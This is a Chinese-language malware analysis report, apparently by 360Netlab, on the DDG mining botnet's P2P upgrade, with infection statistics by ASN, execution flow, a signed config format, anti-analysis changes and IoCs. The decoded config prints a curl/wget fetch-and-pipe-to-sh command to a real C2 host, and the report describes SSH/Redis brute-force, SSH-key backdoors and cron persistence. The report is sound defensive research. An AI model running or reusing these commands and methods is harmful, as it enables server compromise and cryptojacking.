  • 僵尸永远不死,DDG拒绝凋零
  • 威胁快讯:DDG 3013 版本
  • 威胁快讯:DDG 3014 版本

1.2 DDG 当前的挖矿收益情况:

Wallet: 42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik

Type: XMR

Pool: nanopool Paid : 28.3146026927

Pool: supportxmr Paid : 205.632607167

Total Paid: 233.9472098595 XMR

2. DDG Peers 统计

最初我们感知到 DDG 僵尸网络的时候,曾经对它样本内置的 2 个域名采取了 Sinkhole 措施,以此获取到比较精准的 Bot 分布情况,当时我们共记录了 4,391 个失陷主机 IP 地址(参考 DDG.Mining.Botnet:一个瞄准数据库服务器的挖矿僵尸网络 )。

这次根据 P2P 机制实现了 Peers(Bots) 探测功能之后,我们也获取了比较准确的失陷主机相关数据,可以用来度量当前 DDG Botnet 的规模(为避免滥用,完整的 IP:Port 列表不会公开)。 汇总最近一段时间的探测数据,我们共记录了 5,695 个失陷主机 IP 地址,最主要的受害者集中在中国大陆地区 :

DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强

从下面 Top20 网络自治域分布来看,国内各主要云计算服务商均有出现,国外若干互联网巨头公司也有少量中招,完整的ASN列表见文末 IoC 部分。完整的受害者列表我们不会公开,相关的云服务商可以联系我们获取。

AS37963|Hangzhou_Alibaba_Advertising_Co.,Ltd. 2245  
AS45090|Shenzhen_Tencent_Computer_Systems_Company_Limited 975  
AS4134|No.31,Jin-rong_Street 640  
AS4808|China_Unicom_Beijing_Province_Network 173  
AS38365|Beijing_Baidu_Netcom_Science_and_Technology_Co.,_Ltd. 144  
AS4837|CHINA_UNICOM_China169_Backbone 129  
AS14061|DigitalOcean,_LLC 70  
AS4812|China_Telecom_(Group) 59  
AS132203|Tencent_Building,_Kejizhongyi_Avenue 59  
AS58461|No.288,Fu-chun_Road 57  
AS45102|Alibaba_(China)_Technology_Co.,_Ltd. 52  
AS63949|Linode,_LLC 41  
AS23724|IDC,_China_Telecommunications_Corporation 39  
AS23650|AS_Number_for_CHINANET_jiangsu_province_backbone 38  
AS4847|China_Networks_Inter-Exchange 37  
AS4538|China_Education_and_Research_Network_Center 34  
AS17621|China_Unicom_Shanghai_network 32  
AS9808|Guangdong_Mobile_Communication_Co.Ltd. 31  
AS55933|Cloudie_Limited 27  
AS4766|Korea_Telecom 27  
OTHER    OTHER   785

3. 样本执行流程,以及其中HUB IP LIST的结构变化

DDG 的主样本(ddgs.i686 / ddgs.x86_64)的主要执行流程跟以前的版本没有太大区别(详情参考 DDG.Mining.Botnet 近期活动分析 ),主要步骤如下:

  1. 依次与 HUB IP List 中的 IP 通信,与一个 HUB IP 连接成功之后,向 http://<hub_ip>:8000/slave 发送 HTTP POST 请求,以获取经过 msgpack 串行化编码过的配置数据;
  2. 解析配置数据,根据指定的 Miner 下载链接,下载矿机进程来挖矿;
  3. 解析配置数据,根据指定的针对 SSH/Redis 扫描端口、DstIP 生成策略来生成目的 IP 地址列表,发起针对 SSH / Redis 服务的扫描;
  4. 利用弱口令暴破或服务配置缺陷入侵扫描到的主机,入侵成功之后,植入 SSH 公钥来做后门;修改失陷主机的计划任务配置,加入恶意脚本 i.sh 的下载链接, i.sh 脚本中指定了最新的 DDG 主样本下载链接,会定期启动下载最新的 DDG 样本并执行;
  5. 解析配置数据,执行配置项中指定的其他命令。

在 DDG v3014 及更早期版本中,第 1 步用到的 HUB IP List 都是内置在样本中。只是有以下小区别:

  • 大部分版本的样本中, HUB IP List 是直接硬编码在样本中,可能是一个 Go 语言中 var hub_iplist []string 形式的变量。但更早版本是把这一份 IP 列表保存到了一个 hub_iplist.txt 文档中(如 v2011),这个 txt 文档被样本编译打包进二进制文档,样本执行过程中会从内存里提取这个文档并读取整个 HUB IP List 。我们把这一份 IP List 配置数据称为 HUB IP List ,原因就是早期版本中出现了这个 hub_iplist.txt 文档,以及样本内部把这些 List 中的 IP 称为 HUB
  • 大部分版本中,样本与 HUB IP 连接过程,都是自己用 Go 语言实现的网络沟通信。极个别用到了辅助的第三方网络库来实现这个过程,并持续维护当前样本与 HUB IP 的心跳通信。比如最早我们发现 DDG 中这个过程由第三方 Stream Multiplexing 库 Smux 来实现。

据我们观察, HUB IP List 中的 IP,绝大部分是连接不成功的,只有少数几个(1-3 个)可以成功连接并通过 HTTP POST 请求来获取配置文档。并且,承载配置文档下载服务的 IP,通常也承载了恶意样本的下载服务。也就是说,木马作者把极少数真正的 CC 服务器隐藏在上百个 IP 的列表之中,只有依次连接才能确定哪个是真正的 CC 服务器,可谓 狡兔百窟 。最新版本的 2 个 CC 服务器如下:

DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强

4. P2P 机制

DDG 实现 P2P 机制所用的协议细节可以参考相关 Paper,所用实现该协议的框架 Memberlist 介绍可以参考 Hashicorp Memberlist 分析 。据我们分析,DDG 实现的 P2P 机制,其实是对以前硬编码 HUB IP List 的升级,同时整个僵尸网络的稳定性也得以提升;另外,僵尸网络背后的运营者维护起来更加灵活,隐蔽性也更好;最后,由于木马作者对配置数据用 RSA 算法做了签名,DDG 主样本获取到配置数据后会首先校验配置数据的签名,所以配置数据无法伪造,也就不能向整个 P2P 僵尸网络投毒。相应地,清除僵尸网络的难度也陡然增加。

DDG v3015~v3020 加入了 P2P 机制以后,所谓的 HUB IP List 就有了新变化:

  • 木马作者开始尝试只在样本中内置硬编码 1 个IP(v3015 版内置了一个 61.91.81.253:7946 ),根据所用分布式协议以及 Memberlist 框架特性,样本可以通过这个 IP 加入 P2P 网络;
  • 显然 v3015 这个C2布局是脆弱的,任何单一IP都随时可能脱离 DDG 所有者的控制,如果上述关键IP 61.91.81.253:7946 脱离了 DDG 的控制,后续其它新感染IP都无法加入 DDG 的 P2P网络。这就注定了 v3015 是个临时版本;
  • 作为改进,从 v3016 版本开始,每个样本中又内置 200 条 IP:Port 的列表。这些 IP:Port 绝大多数是木马作者整理出来的 P2P 网络中的其他失陷主机(极个别是真正的 CC 服务器,提供配置数据和样本的下载服务),这样就大大增加了当前样本加入 P2P 网络的成功率。

木马成功加入了 P2P 网络之后,就会调用 memberlist.Members() 函数来获取当前 P2P 网络中的 Peers 列表。由于 Memberlist 实现的是 弱一致性 分布式控制协议,所以每个 Peers 保存的节点列表都不是 P2P 网络中的完整列表,这个函数只能获取部分 Peers 列表。据我们观察,每次函数调用能获取大约 1,900 个 Peers 信息。

在 v3015~v3019 这 5 个版本的主样本中,获取到了 Peers 信息之后,样本会提取每个 Peer 的 IP:Port ,汇总成一份列表,并把这个列表以明文形式保存到 ~/.ddg/<VERSION_NUMBER>.bs 文档中。值得注意的是, 木马在运行过程中,会持续与其他 Peers 通信,通信方式遵循所用协议和 Memberlist 框架实现。并且木马会多次获取节点列表,根据获取到的 Peers 列表动态更新 ~/.ddg/<VERSION_NUMBER>.bs 文档的内容 ,所以在不同的时间点查看 .bs 文档,里面的 IP:Port 列表信息会有所不同。样本中操作 .bs 文档的代码如下:

DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强

到了最新的 v3020 版本,木马作者用开源的内嵌 KV 存储引擎 Bolt 取代了之前的 ~/.ddg/<VERSION_NUMBER>.bs 文档。即,样本获取到的 Peers 列表不再明文存储到本地文档中,而是存放到了内嵌的一个小型数据库中。对这份 Peers 信息列表的更新、读取调用,则跟旧版本无本质区别。样本中调用 Bolt 的关键代码如下:

DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强

然后木马会尝试跟获取到的节点 IP 通信,连接成功以后,通过向 http://<ip>:8000/slave 发送 HTTP POST 请求来获取配置数据。配置数据是经过 msgpack 串行化编码的,解码后内容示例如下:

{
    'Data':{
        'CfgVer': 6,
        'Cmd': {
            'AAredis': {
                'Duration': '240h',
                'GenAAA': False,
                'GenLan': True,
                'IPDuration': '6h',
                'Id': 6062,
                'Ports': [6379, 6389, 7379],
                'ShellUrl': 'hxxp://132.148.241.138:8000/i.sh',
                'Timeout': '1m',
                'Version': 3017
            },
            'AAssh': {
                'Duration': '240h',
                'GenAAA': False,
                'GenLan': True,
                'IPDuration': '12h',
                'Id': 2057,
                'NThreads': 100,
                'Ports': [22, 2222, 12222, 52222, 1987],
                'ShellUrl': 'hxxp://132.148.241.138:8000/i.sh',
                'Timeout': '1m',
                'Version': 3017
            },
            'Killer': [{
                    'Expr': '(/tmp/ddgs.3011|/tmp/ddgs.3012|/tmp/ddgs.3013|/tmp/ddgs.3014|/tmp/ddgs.3015|   /tmp/ddgs.3016)',
                    'Id': 475,
                    'Timeout': '60s',
                    'Version': 3017
                },
                {
                    'Expr': '.+(cryptonight|stratum+tcp://|dwarfpool.com|supportxmr.com).+',
                    'Id': 483,
                    'Timeout': '60s',
                    'Version': -1
                },
                {
                    'Expr': './xmr-stak|./.syslog|/bin/wipefs|./xmrig|/tmp/wnTKYg|/tmp/2t3ik',
                    'Id': 484,
                    'Timeout': '60s',
                    'Version': -1
                },
                {
                    'Expr': '/tmp/qW3xT.+',
                    'Id': 481,
                    'Timeout': '60s',
                    'Version': 3017
                }
            ],
            'LKProc': [{
                'Expr': '/tmp/qW3xT.4',
                'Id': 488,
                'Timeout': '60s',
                'Version': 3017
            }],
            'Sh': [{
                    'Id': 479,
                    'Line': '(curl -fsSL hxxp://132.148.241.138:8000/i.sh||wget -q -O-  hxxp://132.148.241.138:8000/i.sh) | sh',
                    'Timeout': '120s',
                    'Version': -1
                },
                {
                    'Id': 486,
                    'Line': 'chattr -i /tmp/qW3xT.4; chmod +x /tmp/qW3xT.4',
                    'Timeout': '20s',
                    'Version': 3017
                }
            ]
        },
        'Config': {
            'Interval': '60s'
        },
        'Miner': [{
            'Exe': '/tmp/qW3xT.4',
            'Md5': '9dd8c5b1dc74286d81bc78372d9b7f27',
            'Url': '/static/qW3xT.4'
        }]
    },
    'Signature': [0x3b,0xd9,0x73,0x04,0x6d,0x75,0x68,0xe8,0xdd,0xd6,0x0c,0x5e,0xac,0xd1,0x29,0x2d,0x16,0x31,0x03,0xf4,0xfb,0xbb,0xa8,0x7d,0xba,0x6a,0xc8,0xda,0x6f,0xec,0x42,0x16,0x6a,0x00,0x8b,0x62,0x3f,0xa1,0x11,0x9b,0x16,0xe8,0xf2,0x13,0xb1,0x45,0x40,0xc5,0xd4,0xc6,0xaa,0x90,0x99,0x98,0x4b,0xc9,0x70,0x66,0x77,0x18,0xa9,0x82,0x53,0xb9,0x4f,0x10,0x05,0xdf,0x8d,0x6c,0x3a,0x31,0x2b,0x45,0x6f,0x9d,0xcb,0xd2,0x7d,0x5e,0x90,0x5f,0xb9,0x59,0x9e,0xa2,0x40,0x02,0x1b,0xe9,0xed,0xd5,0x57,0xb5,0x09,0x41,0x1e,0xd8,0x41,0xd8,0x0b,0xa8,0xd1,0x54,0x00,0xab,0x43,0xdc,0x70,0xce,0xca,0x14,0xc5,0x19,0xc9,0x37,0x0f,0x19,0xe0,0x02,0x95,0x30,0x57,0xa6,0xbb,0xc4,0xa6,0x85,0x51,0xcc,0x9b,0x0d,0xc4,0xc5,0x7d,0xb9,0xc4,0xa0,0x93,0x00,0xec,0x52,0x06,0x77,0xfe,0x82,0x52,0x1e,0x88,0xf2,0xe2,0xc6,0x21,0x3e,0x81,0x7e,0x1e,0x53,0x9d,0xb0,0xab,0xd4,0xc2,0xa3,0x85,0x8b,0xef,0xac,0xdd,0x9d,0x4b,0x5a,0x13,0x8e,0xa1,0x31,0x6d,0xc5,0xb2,0xf4,0xca,0x54,0x85,0x29,0xa0,0x62,0x0d,0xac,0xde,0xfa,0x86,0x09,0x2b,0x1c,0x05,0x5f,0xa0,0xa4,0x91,0x11,0xb0,0x6d,0x7e,0x1c,0xab,0x31,0x6f,0xca,0x64,0x15,0x44,0xe5,0xaf,0x24,0x12,0xb6,0x74,0xde,0x9c,0xc1,0xf7,0x0c,0x22,0x80,0x1f,0x07,0x2b,0x57,0xe2,0xfb,0xf9,0x39,0x0b,0x1b,0x4f,0xa3,0x82,0x07,0xce,0x35,0x41,0x23,0x73,0x94,0x8c,0x27,0x1b,0x77,0x1f,0x5e,0xdd,0xb5,0xb1,0xa6,0xa1,0x6c]
}

注意配置数据最后一项: Signature ,这其实是木马作者拿自己的 RSA 私钥对配置数据中的 Data 部分(真正用到的配置)生成的一个 RSA 签名字段。样本在解码配置数据之后,会用样本中内置的 RSA 公钥对 Data 部分配置数据进行校验,校验通过之后才会采用这些配置。样本中内置的 RSA 公钥如下:

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1+/izrOGcigBPC+oXnr2  
S3JI76iXxqn7e9ONAmNS+m5nLQx2g0GW44TFtMHhDp1lPdUIui1b1odu36i7Cf0g  
31vdYi1i6nGfXiI7UkHMsLVkGkxEknNL1c1vv0qE1b2i2o4TlcXHKHWOPu4xrpYY  
m3Fqjni0n5+cQ8IIcVyjkX7ON0U1n8pQKRWOvrsPhO6tvJnLckK0P1ycGOcgNiBm  
sdA5WDjw3sg4xWCQ9EEpMeB0H1UF/nv7AZQ0etncMxhiWoBxamuPWY/KS3wZStUd  
gsMBOAOOpnbxL9N+II7uquQQkMmO6HriXRmjw14OmSBEoEcFMWF2j/0HPVasOcx2  
xQIDAQAB  
-----END PUBLIC KEY-----

由此可见,这份配置数据无法伪造。这样一来,我们就只能加入 DDG 的 P2P 进行节点探测,而无法对整个 P2P 网络进行投毒。

对配置数据的解析与使用,就与 DDG 之前的版本没有本质区别了,此文不详述。

5. 对抗分析的措施

5.1 样本内置节点 IP 列表从明文到编码

前文说过,DDG v3015 版本的核心样本中,内置的节点 IP:Port 只有一个明文的 61.91.81.253:7946 ,如下:

DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强

而到了 v3016 版本,样本内置的节点则有一个上百条 IP:Port 列表:

DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强

再到了 v3017~v3020 这 4 个大版本,内置的节点列表有了更大改动:每个样本内置 200 个左右的 IP(不同版本的样本中内置的节点不同),IP 以 Hex 形式存放在样本,这样会稍微增大样本分析的难度。样本调用这些 IP 的时候会动态加上 :7946:7947 端口然后再与之通信。比如 v3017 中 Hex 形式的 IP 部分截图如下:

DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强

5.2 二进制样本加壳

DDG v3017 和 v3018 版本的样本,用 UPX v3.9.5 加了壳,使样本文档体积相应缩小,利于样本传输,也会使原有的二进制层面样本检测规则失效。在 v3019 版本中,样本取消了加壳,到了 v3020 版本,又加上了 UPX 壳。我们推测是之前几个版本的加壳只是用来测试效果,到了 v3020 版本,木马作者才放心加壳:

DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强

5.3 修改文档名

DDG 主样本的名字,最早是 ddg ,在样本中可以看到整个项目的名字也是 ddg ,这也是其名字的由来。但后来,它的文档名改成了 ddgs ,从 v3018 版本开始,木马文档在服务器端的文档名改成了 fmt ( Go 语言标准库之一),并且 v3019 下载到受害主机本地之后文档名改为 ljfhbcb 。这样的改动,可能会干扰以往对旧版本样本的检测规则:

DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强

然后,到了 v3020 版本,木马作者又把主样本名字改回了 ddgs ,把样本下载到受害主机本地的文档名改为 betsbccbrhjbcc

DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强
DDG 升级: P2P机制加持,样本对抗增强

6. 联系我们

感兴趣的读者,可以在 twitter 或者在微信公众号 360Netlab 上联系我们,或者向我们发送电子邮件 netlab[at]360.cn。

为避免滥用,我们不会公布受害者 IP 列表。相关安全和执法机构,可以邮件联系netlab[at]360.cn获取被感染的IP地址列表。

7. IoC

CC IP:

104.236.156.211        14061|DigitalOcean, LLC      United States|California|San Francisco  
61.91.81.253           9287|TRUEINTERNET Co.,Ltd.   Thailand  
132.148.241.138        26496|GoDaddy.com, LLC       United States|Arizona|Phoenix  
45.77.166.74           20473|Choopa, LLC        United States|Florida|Miami  
117.141.5.87           9808|Guangdong Mobile Communication Co.Ltd.  China|Guangxi|Nanning  
104.248.181.42         14061|DigitalOcean, LLC      United States|California|San Francisco

MD5:

61379bc98e062b01ee43ce6e831ebcce  
aa54c23cb4cb7729e5506db788b2c95c  
ed80b35ee59084f96aa10674fc0cce27  
ee677c1847a10f98ea40d9e7cadc371e  
61379bc98e062b01ee43ce6e831ebcce  
39a2303ffff0c1ccb123a7963f0a815a  
3feaa446f0121b73723dde142fe23deb  
7cf1a0a6b189b8778d3952f7f38b37a1  
aa1eaf02b03f26ecfb9f09e7930fdfe0  
7cf1a0a6b189b8778d3952f7f38b37a1  
aa1eaf02b03f26ecfb9f09e7930fdfe0  
8c2e1719192caa4025ed978b132988d6  
d6187a44abacfb8f167584668e02c918  
9dd8c5b1dc74286d81bc78372d9b7f27  
3ebe43220041fe7da8be63d7c758e1a8  
d894bb2504943399f57657472e46c07d  
fb6bf5af8771b0dc446861484335fc5e

Mining Pool Proxy:

104.130.210.206:8000    19994|Rackspace_Hosting    United States|Illinois|Chicago  
59.2.77.151:8000        4766|Korea_Telecom         Republic of Korea|Jeonbuk  
104.130.210.206:8443    19994|Rackspace_Hosting    United States|Illinois|Chicago

ASN and Compromised Host Numbers

AS37963|Hangzhou_Alibaba_Advertising_Co.,Ltd. 2245  
AS45090|Shenzhen_Tencent_Computer_Systems_Company_Limited 975  
AS4134|No.31,Jin-rong_Street 640  
AS4808|China_Unicom_Beijing_Province_Network 173  
AS38365|Beijing_Baidu_Netcom_Science_and_Technology_Co.,_Ltd. 144  
AS4837|CHINA_UNICOM_China169_Backbone 129  
AS14061|DigitalOcean,_LLC 70  
AS4812|China_Telecom_(Group) 59  
AS132203|Tencent_Building,_Kejizhongyi_Avenue 59  
AS58461|No.288,Fu-chun_Road 57  
AS45102|Alibaba_(China)_Technology_Co.,_Ltd. 52  
AS63949|Linode,_LLC 41  
AS23724|IDC,_China_Telecommunications_Corporation 39  
AS23650|AS_Number_for_CHINANET_jiangsu_province_backbone 38  
AS4847|China_Networks_Inter-Exchange 37  
AS4538|China_Education_and_Research_Network_Center 34  
AS17621|China_Unicom_Shanghai_network 32  
AS9808|Guangdong_Mobile_Communication_Co.Ltd. 31  
AS55933|Cloudie_Limited 27  
AS4766|Korea_Telecom 27  
AS25820|IT7_Networks_Inc 27  
AS9318|SK_Broadband_Co_Ltd 17  
AS16509|Amazon.com,_Inc. 16  
AS58466|CHINANET_Guangdong_province_network 15  
AS15169|Google_LLC 15  
AS63835|No.293,Wanbao_Avenue 14  
AS58879|Shanghai_Anchang_Network_Security_Technology_Co.,Ltd. 14  
AS38283|CHINANET_SiChuan_Telecom_Internet_Data_Center 14  
AS59019|Beijing_Kingsoft_Cloud_Internet_Technology_Co.,_Ltd 13  
AS58593|Shanghai_Blue_Cloud_Technology_Co.,Ltd 13  
AS45187|Rackspace_IT_Hosting_AS_IT_Hosting_Provider_Hong_Kong 13  
AS20473|Choopa,_LLC 13  
AS56046|China_Mobile_communications_corporation 12  
AS135453|DISKOMINFO_TANGERANG_SELATAN 12  
AS7506|GMO_Internet,Inc 10  
AS24138|China_Tietong_Telecommunication_Corporation 10  
AS45899|VNPT_Corp 9  
AS45753|NETSEC 9  
AS133115|hongkong_kwaifong_information_service_limited 9  
AS131486|Beijing_Jingdong_360_Degree_E-commerce_Co.,_Ltd. 9  
AS9498|BHARTI_Airtel_Ltd. 8  
AS4816|China_Telecom_(Group) 8  
AS3786|LG_DACOM_Corporation 8  
AS26496|GoDaddy.com,_LLC 8  
AS45353|NITC:_IT_Agency_of_Government_of_Nepal 7  
AS24444|Shandong_Mobile_Communication_Company_Limited 7  
AS135026|ThinkDream_Technology_Limited 7  
AS9381|WTT_HK_Limited 6  
AS56067|453_Ladplacout_Jorakhaebua 6  
AS45058|Golden-Bridge_Netcom_communication_Co.,LTD. 6  
AS3462|Data_Communication_Business_Group 6  
AS24547|Hebei_Mobile_Communication_Company_Limited 6  
AS17638|ASN_for_TIANJIN_Provincial_Net_of_CT 6  
AS16276|OVH_SAS 6  
AS133380|Layerstack_Limited 6  
AS8100|QuadraNet_Enterprises_LLC 5  
AS8075|Microsoft_Corporation 5  
AS59078|Yunify_Technologies_Inc. 5  
AS56048|China_Mobile_Communicaitons_Corporation 5  
AS56041|China_Mobile_communications_corporation 5  
AS4835|China_Telecom_(Group) 5  
AS4621|Chulalongkorn_University 5  
AS17974|PT_Telekomunikasi_Indonesia 5  
AS137314|Politeknik_Negeri_Jember 5  
AS131392|GMO-Z.com_Runsystem_Joint_Stock_Company 5  
AS9802|Abitcool(China)_Inc. 4  
AS63612|Shenzhen_Qianhai_bird_cloud_computing_Co._Ltd. 4  
AS58543|Guangdong 4  
AS56040|China_Mobile_communications_corporation 4  
AS50673|Serverius_Holding_B.V. 4  
AS45093|Cnean_Internet_Exchange 4  
AS40676|Psychz_Networks 4  
AS36352|ColoCrossing 4  
AS22923|Yesup_Ecommerce_Solutions_Inc. 4  
AS18403|The_Corporation_for_Financing_&_Promoting_Technology 4  
AS135377|UCloud_(HK)_Holdings_Group_Limited 4  
AS134771|CHINANET_Sichuan_province_Chengdu_MAN_network 4  
AS134764|CHINANET_Guangdong_province_network 4  
AS134705|Itace_International_Limited 4  
AS9829|National_Internet_Backbone 3  
AS9341|PT_Indonesia_Comnets_Plus 3  
AS7489|HostUS 3  
AS62468|VpsQuan_L.L.C. 3  
AS58542|Yueyang 3  
AS58477|Argon_Data_Communication 3  
AS55990|Huawei_Cloud_Service_data_center 3  
AS55688|PT._Beon_Intermedia 3  
AS38682|National_Institute_of_Environmental_Research 3  
AS38197|Sun_Network_(Hong_Kong)_Limited_-_HongKong_Backbone 3  
AS24400|Shanghai_Mobile_Communications_Co.,Ltd. 3  
AS23969|TOT_Public_Company_Limited 3  
AS23844|Beijing_Guanghuan_Xinwang_Digital 3  
AS17964|Beijing_Dian-Xin-Tong_Network_Technologies_Co.,_Ltd. 3  
AS17816|China_Unicom_IP_network_China169_Guangdong_province 3  
AS17451|BIZNET_NETWORKS 3  
AS1659|Taiwan_Academic_Network_(TANet)_Information_Center 3  
AS135386|LinkChina_Telecom_Global_Limited. 3  
AS134763|CHINANET_Guangdong_province_network 3  
AS133774|Fuzhou 3  
AS133405|AS_Data(Hong_Kong)Limited 3  
ASReserved; 2  
AS9929|CHINA_UNICOM_Industrial_Internet_Backbone 2  
AS9416|Hoshin_Multimedia_Center_Inc. 2  
AS9312|xTom 2  
AS7545|TPG_Telecom_Limited 2  
AS7470|TRUE_INTERNET_Co.,Ltd. 2  
AS59134|PT._Datacomm_Diangraha 2  
AS58519|Cloud_Computing_Corporation 2  
AS58487|Rumahweb_Indonesia_CV. 2  
AS55967|Beijing_Baidu_Netcom_Science_and_Technology_Co.,_Ltd. 2  
AS55720|Gigabit_Hosting_Sdn_Bhd 2  
AS4809|China_Telecom_Next_Generation_Carrier_Network 2  
AS4800|Network_Access_Provider_and_Internet_Service_Provider 2  
AS45996|DAOU_TECHNOLOGY 2  
AS43554|Cifrovye_Dispetcherskie_Sistemy 2  
AS38731|CHT_Compamy_Ltd 2  
AS3842|RamNode_LLC 2  
AS3269|Telecom_Italia 2  
AS24309|Atria_Convergence_Technologies_Pvt._Ltd._Broadband_Internet_Service_Provider_INDIA 2  
AS24085|Quang_Trung_Software_City_Development_Company 2  
AS23947|PT.Mora_Telematika_Indonesia 2  
AS23695|ELGANET-ASN_PT._Elga_Yasa_Media_Internet_Service 2  
AS18245|CNNIC 2  
AS17753|INTERNET_SERVICE_PROVIDER 2  
AS17444|AS_number_for_New_World_Telephone_Ltd. 2  
AS138115|PT_Deneva 2  
AS137260|Bit_Exchange_Systems_Limited 2  
AS136959|China_Unicom_Guangdong_IP_network 2  
AS136950|Hong_Kong_FireLine_Network_LTD 2  
AS136190|DaLi 2  
AS135915|8_Floor,_96-98_Dao_Duy_Anh,_Phu_Nhuan,_HCMC 2  
AS135173|INDIA_METEOROLOGICAL_DEPARTMENT 2  
AS134768|CHINANET_Sichuan_province_Chengdu_MAN_network 2  
AS134765|CHINANET_Sichuan_province_Chengdu_MAN_network 2  
AS134762|CHINANET_Sichuan_province_Chengdu_MAN_network 2  
AS134548|DXTL_Tseung_Kwan_O_Service 2  
AS134366|Yunify_Technologies_(HK)_Limited 2  
AS133775|Xiamen 2  
AS133201|ABCDE_GROUP_COMPANY_LIMITED 2  
AS133199|SonderCloud_Limited 2  
AS131921|GMO_CLOUD_K.K. 2  
AS10029|SHYAM_SPECTRA_PVT_LTD 2  
ASNone; 1  
AS9931|The_Communication_Authoity_of_Thailand,_CAT 1  
AS9821|Department_of_Science_and_Technology 1  
AS9812|Oriental_Cable_Network_Co.,_Ltd. 1  
AS9708|Pukyong_National_University 1  
AS9430|Software_Technology_Parks_of_India,Block-IV 1  
AS9394|China_TieTong_Telecommunications_Corporation 1  
AS9370|SAKURA_Internet_Inc. 1  
AS9306|China_International_Electronic_Commerce_Center 1  
AS9287|TRUEINTERNET_Co.,Ltd. 1  
AS8517|National_Academic_Network_and_Information_Center 1  
AS7922|Comcast_Cable_Communications,_LLC 1  
AS7629|5F_L.V._Locsin_Bldg 1  
AS7552|Viettel_Group 1  
AS7162|Universo_Online_S.A. 1  
AS701|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business 1  
AS7018|AT&T_Services,_Inc. 1  
AS6640|CenturyLink_Communications,_LLC 1  
AS63959|Hong_Kong_Syscloud_Technology_Limited 1  
AS63888|TISP_LIMITED 1  
AS63838|Hengyang 1  
AS63741|DCNET_Telecommunication_joint_stock_company 1  
AS63646|Beijing_Xiaoju_Science_and_Technology_Co.,_Ltd. 1  
AS63473|HostHatch,_Inc 1  
AS62217|VooServers_Ltd 1  
AS59164|Apollo_Online_Services_Pvt_ltd 1  
AS59089|NO.18_Building_University_of_Technology 1  
AS59077|Shanghai_UCloud_Information_Technology_Company_Limited 1  
AS58854|Xiamen_Aiya_network_Technology_Co._Ltd. 1  
AS58768|Daffodil_Online_Ltd. 1  
AS58717|Summit_Communications_Ltd 1  
AS58641|Trunkoz_Technologies_Pvt_Ltd 1  
AS58563|CHINANET_Hubei_province_network 1  
AS58541|Xiangtan 1  
AS58397|PT_Infinys_System_Indonesia 1  
AS58097|OOO_Taxcom 1  
AS577|Bell_Canada 1  
AS56209|R._K._INFRATEL_LIMITED 1  
AS56202|Suite_no_10,_Level_5_C_Wing 1  
AS56140|ModernOne_Data_Solutions_Sdn._Bhd. 1  
AS56047|China_Mobile_communications_corporation 1  
AS56044|China_Mobile_communications_corporation 1  
AS55824|NKN_Core_Network 1  
AS55803|Digital_Pacific_Pty_Ltd_Australia 1  
AS55769|SOUTH_EAST_ASIA_TELECOM_(Cambodia)_Co.,_LTD 1  
AS55701|PT._Usaha_Adisanggoro 1  
AS55410|C48_Okhla_Industrial_Estate,_New_Delhi-110020 1  
AS54600|PEG_TECH_INC 1  
AS54290|Hostwinds_LLC. 1  
AS53667|FranTech_Solutions 1  
AS53587|AZURE_TECHNOLOGY_CO.,_LIMITED 1  
AS52286|Columbus_Networks_Guatemala 1  
AS4788|TM_Net,_Internet_Service_Provider 1  
AS4787|PT_Cyberindo_Aditama 1  
AS4775|Globe_Telecoms 1  
AS4765|Pacific_Internet_Pte_Ltd 1  
AS47452|Super_iMAX 1  
AS4658|2012_Limited_/_Netfront 1  
AS46015|Exa_Bytes_Network_Sdn.Bhd. 1  
AS45910|i-System_Technology_Limited 1  
AS45766|Triangle_Services_Limited. 1  
AS45758|Triple_T_Internet/Triple_T_Broadband 1  
AS45754|Clear_Path_Networks_Inc 1  
AS45629|JasTel_Network_International_Gateway 1  
AS45587|China_Broadband_Communications_(CBCnet) 1  
AS45429|CAMBODIAN_SINGMENG_TELEMEDIA_CO.,_LTD 1  
AS45062|Guangzhou_NetEase_Computer_System_Co.,_Ltd. 1  
AS42331|PE_Freehost 1  
AS40065|CNSERVERS_LLC 1  
AS38802|Azurance_Limited 1  
AS38661|purplestones 1  
AS38532|USONYX_PTE_LTD 1  
AS38277|CommuniLink_Internet_Limited. 1  
AS38186|Forewin_Telecom_Group_Limited,_ISP_at 1  
AS38001|NewMedia_Express_Pte_Ltd 1  
AS37943|ZhengZhou_GIANT_Computer_Network_Technology_Co.,_Ltd 1  
AS3257|GTT_Communications_Inc. 1  
AS31898|Oracle_Corporation 1  
AS31034|Aruba_S.p.A. 1  
AS2828|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business 1  
AS27979|Stel_Chile_S.A. 1  
AS278|Universidad_Nacional_Autonoma_de_Mexico 1  
AS26832|Rica_Web_Services 1  
AS26658|HT 1  
AS2609|Tunisia_BackBone_AS 1  
AS2549|Universidad_de_Guadalajara 1  
AS2516|KDDI_CORPORATION 1  
AS24940|Hetzner_Online_GmbH 1  
AS24521|PT._DATA_Utama_Dinamika 1  
AS24445|Henan_Mobile_Communications_Co.,Ltd 1  
